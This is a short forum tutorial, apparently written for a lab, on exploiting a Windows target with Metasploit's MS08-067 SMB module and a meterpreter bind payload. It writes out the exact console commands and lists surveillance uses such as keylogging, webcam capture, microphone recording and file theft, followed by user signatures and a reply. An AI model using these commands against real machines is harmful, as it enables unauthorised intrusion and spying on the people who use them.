Exploiting a target using Metasploit
Hi all, here is a quick tutorial on how to connect and exploit a target machine using Metasploit.
This is for information purposes only do not do this illegally. I did this on a VM lab I created specifically for learning purposes only.
So first of lets boot up a version of Metasploit, with the cmd msfconsole:
Now we need to setup our windows exploit with the following commands:
1. use exploit/windows/smb/ms08_067_netapi
2. set payload windows/meterpreter/bind_tcp
3. set RHOST 192.168.0.10 (This IP Address will be your targets IP gained from a scan)
4. exploit (This command carries out the exploit as seen below)
All being well you should have connected to the target and carry out a number of commands. Below is the screenshot command.
And thats it :) easy!!
There are loads of commands to run under this exploit, just type help and a list will be displayed.
Examples are: Recording audio from microphones, screenshots from their webcam, gathering keystrokes and downloading files.
I hope you enjoyed this short tutorial and hopefully it will be posted :)
Happy hacking all ^__^
Just because I am paranoid doesnt mean theyre not after me…
- @IAmDevil
Its good to be back! :D
- @IAmDevil
Its good to be back! :D
When solving problems, dig at the roots instead of just hacking at the leaves.
We are Legion.
* We do not forgive.
* We do not forget.
Expect us.
Gninja, well done! Short and to the point, keep them coming. I ask only one thing, Im having difficulty with reading your images. I dont mean to be critical, just having trouble visually (blurring). Excuse me, my age is showing. Again Good Job!
I’d rather see folks doubt what’s true than accept what isn’t.